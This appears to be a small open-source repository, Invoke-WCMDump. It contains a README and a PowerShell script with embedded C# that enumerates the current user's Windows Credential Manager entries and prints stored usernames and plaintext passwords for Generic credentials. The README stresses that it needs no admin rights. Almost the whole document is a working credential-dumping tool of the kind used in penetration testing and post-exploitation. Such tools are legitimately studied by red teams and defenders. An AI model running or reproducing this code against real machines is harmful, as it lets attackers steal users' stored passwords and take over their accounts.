├── README.md ├── Invoke-WCMDump.ps1 └── LICENSE /README.md: -------------------------------------------------------------------------------- 1 | # Invoke-WCMDump 2 | PowerShell script to dump Windows credentials from the Credential Manager 3 | 4 | Invoke-WCMDump enumerates Windows credentials in the Credential Manager and then extracts available information about each one. Passwords are retrieved for "Generic" type credentials, but can not be retrived by the same method for "Domain" type credentials. Credentials are only returned for the current user. 5 | 6 | Does not require admin privileges! 7 | 8 | Author: Barrett Adams (@peewpw) 9 | 10 | ## Example 11 | ``` 12 | PS>Import-Module .\Invoke-WCMDump.ps1 13 | PS>Invoke-WCMDump 14 | Username : testusername 15 | Password : P@ssw0rd! 16 | Target : TestApplication 17 | Description : 18 | LastWriteTime : 12/9/2017 4:46:50 PM 19 | LastWriteTimeUtc : 12/9/2017 9:46:50 PM 20 | Type : Generic 21 | PersistenceType : Enterprise 22 | ``` 23 | -------------------------------------------------------------------------------- /Invoke-WCMDump.ps1: -------------------------------------------------------------------------------- 1 | function Invoke-WCMDump 2 | { 3 | <# 4 | .SYNOPSIS 5 | Dumps Windows credentials from the Windows Credential Manager for the current user. 6 | Author: Barrett Adams (@peewpw) 7 | .DESCRIPTION 8 | Enumerates Windows credentials in the Credential Manager and then extracts available 9 | information about each one. Passwords can be retrieved for "Generic" type credentials, 10 | but not for "Domain" type credentials. 11 | .EXAMPLE 12 | PS>Import-Module .\Invoke-WCMDump.ps1 13 | PS>Invoke-WCMDump 14 | Username : testusername 15 | Password : P@ssw0rd! 16 | Target : TestApplication 17 | Description : 18 | LastWriteTime : 12/9/2017 4:46:50 PM 19 | LastWriteTimeUtc : 12/9/2017 9:46:50 PM 20 | Type : Generic 21 | PersistenceType : Enterprise 22 | #> 23 | 24 | $source = @" 25 | // C# modified from https://github.com/spolnik/Simple.CredentialsManager 26 | 27 | using Microsoft.Win32.SafeHandles; 28 | using System; 29 | using System.Collections.Generic; 30 | using System.Runtime.InteropServices; 31 | using System.Security.Permissions; 32 | 33 | public class Credential : IDisposable 34 | { 35 | private static readonly object LockObject = new object(); 36 | private static readonly SecurityPermission UnmanagedCodePermission; 37 | private string description; 38 | private DateTime lastWriteTime; 39 | private string password; 40 | private PersistenceType persistenceType; 41 | private string target; 42 | private CredentialType type; 43 | private string username; 44 | static Credential() 45 | { 46 | lock (LockObject) 47 | { 48 | UnmanagedCodePermission = new SecurityPermission(SecurityPermissionFlag.UnmanagedCode); 49 | } 50 | } 51 | 52 | public Credential(string username, string password, string target, CredentialType type) 53 | { 54 | Username = username; 55 | Password = password; 56 | Target = target; 57 | Type = type; 58 | PersistenceType = PersistenceType.Session; 59 | lastWriteTime = DateTime.MinValue; 60 | } 61 | 62 | public string Username 63 | { 64 | get { return username; } 65 | set { username = value; } 66 | } 67 | 68 | public string Password 69 | { 70 | get { return password; } 71 | set { password = value; } 72 | } 73 | 74 | public string Target 75 | { 76 | get { return target; } 77 | set { target = value; } 78 | } 79 | 80 | public string Description 81 | { 82 | get { return description; } 83 | set { description = value; } 84 | } 85 | 86 | public DateTime LastWriteTime 87 | { 88 | get { return LastWriteTimeUtc.ToLocalTime(); } 89 | } 90 | 91 | public DateTime LastWriteTimeUtc 92 | { 93 | get { return lastWriteTime; } 94 | private set { lastWriteTime = value; } 95 | } 96 | 97 | public CredentialType Type 98 | { 99 | get { return type; } 100 | set { type = value; } 101 | } 102 | 103 | public PersistenceType PersistenceType 104 | { 105 | get { return persistenceType; } 106 | set { persistenceType = value; } 107 | } 108 | 109 | public void Dispose() { } 110 | 111 | public bool Load() 112 | { 113 | UnmanagedCodePermission.Demand(); 114 | 115 | IntPtr credPointer; 116 | 117 | Boolean result = NativeMethods.CredRead(Target, Type, 0, out credPointer); 118 | if (!result) 119 | return false; 120 | 121 | using (NativeMethods.CriticalCredentialHandle credentialHandle = new NativeMethods.CriticalCredentialHandle(credPointer)) 122 | { 123 | LoadInternal(credentialHandle.GetCredential()); 124 | } 125 | 126 | return true; 127 | } 128 | 129 | public static IEnumerable LoadAll() 130 | { 131 | UnmanagedCodePermission.Demand(); 132 | 133 | IEnumerable creds = NativeMethods.CredEnumerate(); 134 | List credlist = new List(); 135 | 136 | foreach (NativeMethods.CREDENTIAL cred in creds) 137 | { 138 | Credential fullCred = new Credential(cred.UserName, null, cred.TargetName, (CredentialType)cred.Type); 139 | if (fullCred.Load()) 140 | credlist.Add(fullCred); 141 | } 142 | 143 | return credlist; 144 | } 145 | 146 | internal void LoadInternal(NativeMethods.CREDENTIAL credential) 147 | { 148 | Username = credential.UserName; 149 | 150 | if (credential.CredentialBlobSize > 0) 151 | { 152 | Password = Marshal.PtrToStringUni(credential.CredentialBlob, credential.CredentialBlobSize / 2); 153 | } 154 | 155 | Target = credential.TargetName; 156 | Type = (CredentialType)credential.Type; 157 | PersistenceType = (PersistenceType)credential.Persist; 158 | Description = credential.Comment; 159 | LastWriteTimeUtc = DateTime.FromFileTimeUtc(credential.LastWritten); 160 | } 161 | } 162 | 163 | public class NativeMethods 164 | { 165 | [DllImport("Advapi32.dll", EntryPoint = "CredReadW", CharSet = CharSet.Unicode, SetLastError = true)] 166 | internal static extern bool CredRead(string target, CredentialType type, int reservedFlag, out IntPtr credentialPtr); 167 | 168 | [DllImport("Advapi32.dll", EntryPoint = "CredFree", SetLastError = true)] 169 | internal static extern void CredFree([In] IntPtr cred); 170 | 171 | [DllImport("Advapi32.dll", EntryPoint = "CredEnumerate", SetLastError = true, CharSet = CharSet.Unicode)] 172 | public static extern bool CredEnumerate(string filter, int flag, out int count, out IntPtr pCredentials); 173 | 174 | [StructLayout(LayoutKind.Sequential)] 175 | internal struct CREDENTIAL 176 | { 177 | public int Flags; 178 | public int Type; 179 | [MarshalAs(UnmanagedType.LPWStr)] public string TargetName; 180 | [MarshalAs(UnmanagedType.LPWStr)] public string Comment; 181 | public long LastWritten; 182 | public int CredentialBlobSize; 183 | public IntPtr CredentialBlob; 184 | public int Persist; 185 | public int AttributeCount; 186 | public IntPtr Attributes; 187 | [MarshalAs(UnmanagedType.LPWStr)] public string TargetAlias; 188 | [MarshalAs(UnmanagedType.LPWStr)] public string UserName; 189 | } 190 | 191 | internal static IEnumerable CredEnumerate() 192 | { 193 | int count; 194 | IntPtr pCredentials; 195 | Boolean ret = CredEnumerate(null, 0, out count, out pCredentials); 196 | 197 | if (ret == false) 198 | throw new Exception("Failed to enumerate credentials"); 199 | 200 | List credlist = new List(); 201 | IntPtr credential = new IntPtr(); 202 | for (int n = 0; n < count; n++) 203 | { 204 | credential = Marshal.ReadIntPtr(pCredentials, n * Marshal.SizeOf(typeof(IntPtr))); 205 | credlist.Add((CREDENTIAL)Marshal.PtrToStructure(credential, typeof(CREDENTIAL))); 206 | } 207 | 208 | return credlist; 209 | } 210 | 211 | internal sealed class CriticalCredentialHandle : CriticalHandleZeroOrMinusOneIsInvalid 212 | { 213 | internal CriticalCredentialHandle(IntPtr preexistingHandle) 214 | { 215 | SetHandle(preexistingHandle); 216 | } 217 | 218 | internal CREDENTIAL GetCredential() 219 | { 220 | if (!IsInvalid) 221 | { 222 | return (CREDENTIAL)Marshal.PtrToStructure(handle, typeof(CREDENTIAL)); 223 | } 224 | 225 | throw new InvalidOperationException("Invalid CriticalHandle!"); 226 | } 227 | 228 | protected override bool ReleaseHandle() 229 | { 230 | if (!IsInvalid) 231 | { 232 | CredFree(handle); 233 | SetHandleAsInvalid(); 234 | return true; 235 | } 236 | return false; 237 | } 238 | } 239 | } 240 | 241 | public enum CredentialType : uint 242 | { 243 | None = 0, 244 | Generic = 1, 245 | DomainPassword = 2, 246 | DomainCertificate = 3, 247 | DomainVisiblePassword = 4, 248 | GenericCertificate = 5, 249 | DomainExtended = 6, 250 | Maximum = 7, 251 | CredTypeMaximum = Maximum+1000 252 | } 253 | 254 | public enum PersistenceType : uint 255 | { 256 | Session = 1, 257 | LocalComputer = 2, 258 | Enterprise = 3 259 | } 260 | "@ 261 | $add = Add-Type -TypeDefinition $source -Language CSharp -PassThru 262 | $loadAll = [Credential]::LoadAll() 263 | Write-Output $loadAll 264 | } 265 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Apache License 2 | Version 2.0, January 2004 3 | http://www.apache.org/licenses/ 4 | 5 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 6 | 7 | 1. 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